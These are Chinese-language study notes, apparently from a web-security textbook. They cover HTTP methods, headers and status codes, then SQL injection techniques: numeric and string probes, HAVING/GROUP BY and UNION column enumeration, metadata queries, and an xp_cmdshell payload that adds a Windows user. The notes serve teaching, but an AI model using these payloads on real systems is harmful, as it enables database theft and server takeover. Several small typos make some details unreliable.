http:
1 GET 请求指定的页面信息,并返回实体主体
2 HEAD 类似于get请求,只不过返回的响应中没有具体的内容,用于获取报头
3 POST 向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST请求可能会导致新的资源的建立或已有的资源的修改
4 PUT 从客户端向服务器传送的数据取代指定的文档的内容
5 DELET 请求服务器删除指定的页面
6 CONNECT HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器
7 OPTIONS 允许客户端查看服务器的性能
8 TRACE 回显服务器收到的请求,主要用于测试或诊断
请求头:
User-Agent:产生请求的浏览器类型
Accept:客户端可识别的内容类型列表
host:请求的主机名,允许多个域名同处一个ip地址,虚拟主机
Content-Encoding:文档的编码(Encode)方法。解码后才可以得到Content-Type头指定的内容类型。
Content-Length:表示内容长度。只有当浏览器使用HTTP连接时才需要这个数据。例如,下载数据时,通过它查看字节大小
Content-Type:表示后面的文档是属于什么MIME类型。Servlet默认为text/plain,但最好显式指出
Date:当前的GMT时间(格林威治时间)
Expires:表示在什么时候认为文档已经过期,从而不再缓存它
Last-Modified:文档的最后改动时间
Location:文档位置,表示客户端应该到那提取文档
Refresh:表示浏览器应该在多少时间后刷新文档或页面(只一次,非重复),以秒计。Refresh不属于HTTP1.1正式规范中,而是一个扩展,但Netscape和IE都支持它
Server:服务器名字
Set-Cookie:设置页面相关的Cookie
WWWW-Authenticate:表示客户端需要在其中提供某类型的授权信息。例如,在包含401状态行的应答中,这个头就需要设置
状态行:
1xx:指示信息--表示请求已接收,继续处理。
2xx:成功--表示请求已被成功接收、理解、接受。
3xx:重定向--要完成请求必须进行更进一步的操作。
4xx:客户端错误--请求有语法错误或请求无法实现。
5xx:服务器端错误--服务器未能实现合法的请求。
200 OK:客户端请求成功。
400 Bad Request:客户端请求有语法错误,不能被服务器所理解。
401 Unauthorized:请求未经授权,这个状态代码必须和WWW-Authenticate报头域一起使用。
403 Forbidden:服务器收到请求,但是拒绝提供服务。
404 Not Found:请求资源不存在,举个例子:输入了错误的URL。
500 Internal Server Error:服务器发生不可预期的错误。
503 Server Unavailable:服务器当前不能处理客户端的请求,一段时间后可能恢复正常,举个例子:HTTP/1.1 200 OK(CRLF)。
SQL注入:
注入漏洞分类:
数字型注入:
假设有URL为:http://www.xxser.com/test.php?id=8
http://www.xxser.com/test.php?id=8'
SQL语句为:select * from table where id=8',这样的语句肯定会出错,导致脚本程序无法从数据库中正常获取数据,从而使原来的页面出现异常。
http://www.xxser.com/test.php?id=8 and 1=1
SQ语句为:select * from table where id =8 and 1=1,语句执行正常,返回的数据与原始请求无任何差异
http://www.xxser.com/test.php?id=8 and 1=2
SQL语句为:select * from table where id=8 and 1=2语句执行正常,但是无法查询出数据,因为1=2始终为假,返回数据与原始请求有差异。
如果以上三个步骤都满足,则程序就可能存在SQL注入漏洞。
字符型注入:
当我们输入的参数是string类型时,称为字符型
当攻击者进行SQL注入时,如果输入 admin and 1=1 ,则无法进行注入。因为 admin and 1=1 会被数据库当作查询的字符串,SQL语句变为
select * from table where username = 'admin and 1=1'
这时候如果我们想要注入,那么就必须要注意字符串的闭合问题,输入admin’ and 1=1 - - 就可以继续注入,SQL语句如下
select * from table where username ='admin' and 1=1 - -'
只要是字符型的注入,都必须要闭合单引号以及注释多余的代码。
cookie注入:
GET /user/login.php?username=admin&password=123456 HTTP/1.1
- POST注入:注入字段在POST数据中;
- Cookie注入:注入字段在Cookie数据中;
- 延时注入:使用数据库延时特性注入;
- 搜索注入:注入处为搜索的地点;
- base64注入:注入字符串需要经过base64加密
查询root用户详细信息,SQL语句如下
select * from users where username='root'
攻击者可以利用SQL Server特性来获取敏感信息,输入如下语句:
'having 1=1- -
最终执行的SQL语句为:
select * from users where username='root' and password='root' having 1=1- -'
选择列表中的列’users.id’无效,因为该列没有包含在聚合函数或GROUP BY 子句中。
可以发现当前表名为"users",并且存在"ID"列名,攻击者可以利用此特性继续得到其他列名,输入如下SQL语句:
select * from users where username='root' and password='root' group by users.id having 1=1- -'
选择列表中的列’users.username’无效,因为该列没有包含在聚合函数或GROUP BY 子句中。
可以看到执行器又抛出了"username"列名,由此可以依次递归查询,直到没有错误消息返回为止,这样就可以利用having子句"查询"出当前表的所有列名。
利用数据类型错误提取数据
如果试图将一个字符串与非字符串比较,或者将一个字符串转换为另外一个不兼容的类型时,那么SQL编辑器将会抛出异常
获取元数据
SQL Sever 提供了大量的视图,便于取得元数据。下面将使用INFORMATION_SCHEMA.TABLES与INFORMATION_SCHEMA.COLUMNS视图取得数据库表以及表的字段。
取得当前数据库表:
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
取得Student表字段:
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=‘Student’
数据库视图 说明
sys.databases:SQL Server中的所有数据库
sys.sql_logins:SQL Server中的所有登录名
Information_schema.tables:当前用户数据库中的表
information_schema.columns:当前用户数据库中的列
sys.all_columns:用户定义对象和系统对象的所有列的联合
sys.database_principals:数据库中每个权限或异常权限
sys.database_files:存储在数据库中的数据库文件
sysobjects:数据库中创建的每个对象(例如约束、日志以及存储过程)
Order by 位置号4超出了选择列表中项数的范围。
select id ,username,password from users where id =1 Order by 4
在SQL语句中,只查询了三列,而我们却要求数据库按照第四列排序,所以数据库抛出异常,而攻击者也得知了当前SQL语句有几列存在。在Oracle、MySQL数据库中同样适用此语句。
使用UNION查询对id字段注入,SQL语句如下:
select di ,username,password,sex from users where id =1 union select null
使用UNION、INTERSECT或EXCEPT运算符合并的所欲查询必须在其目标列表中有相同数目的表达式。
递归查询,直到无错误产生,然后我们就可以知道User表查询的字段数了
union select null,null
union select null,null,null
如果第1列数据类型不匹配,数据库将会报错,这时可以继续递归查询,直到语句正常执行为止。
id=5 union select null, 'x' ,null,null from sysobject where xtype='U'
id=5 union select null, null ,'x',null from sysobject where xtype='U'
语句执行正常,代表数据类型兼容,就可以将x换为SQL语句,查询敏感信息。
也有攻击者喜欢用UNION ALL关键字,UNION和UNION ALL最大的区别在于UNION会自动去除重复的数据,并且按照默认规则排序。
select suser_name():返回用户的登录标识名;
select user_name(): 基于指定的标识号返回数据库用户名;
select db_name(): 返回数据库名称;
selectis_member(‘db_owner’):是否为数据库角色;
select convert(int,‘5’):数据类型转换。
存储过程:
例如:http://www.secbug.org/test.aspx?id=1
存在注入点,那么攻击者就可以实施命令攻击:
http://www.secbug.org/test.aspx?id=1;exec xp_cmdshell 'net user test /add'
sp_addlogin 创建新的SQL Server登录,该登录允许用户使用SQL Server身份验证连接到SQL Server实例
sp_dropuser 从当前数据库中删除数据库用户
xp_enumgroups 提供Microsoft Windows本地组列表或在指定的Windows域中定义的全局组列表
xp_regwrite 未被公布的存储过程,写入注册表
xp_regread 读取注册表
xp_regdeletevalue 删除注册表
xp_dirtree 读取目录
sp_password 更改密码
xp_servicecontrol 停止或激活某服务
角色 权限
bulkadmin 角色成员可以运行BULK INSERT语句
dbcreator 可以创建、更改、删除和还原任何数据库
diskadmin 可以管理磁盘文件
processadmin 可以终止在数据库引擎实例中运行的进程
securityadmin 可以管理登录名及其属性。可以利用GRANT、DENY和REVOKE服务器级别的权限;还可以利用GRANT、DENY和REVOKE数据库级别的权限。此外,也可以重置SQL Server登录名的面密码
serveradmin 可以更改服务器范围的配置选项和关闭服务器
setupadmin 可以添加和删除链接服务器,并可以执行某些系统存储过程
sysadmin 角色成员可以在数据库引擎中执行任何活动。默认情况下,Windows BUILTIN\Administrators组(本地管理员组)的所有成员都是sysadmin固定服务器角色的成员
SQL Server支持动态执行语句,用户可以提交一个字符串来执行SQL语句,例如:
exec ('select username,password from users')
exec('select'+'t username,password fro' +'m users')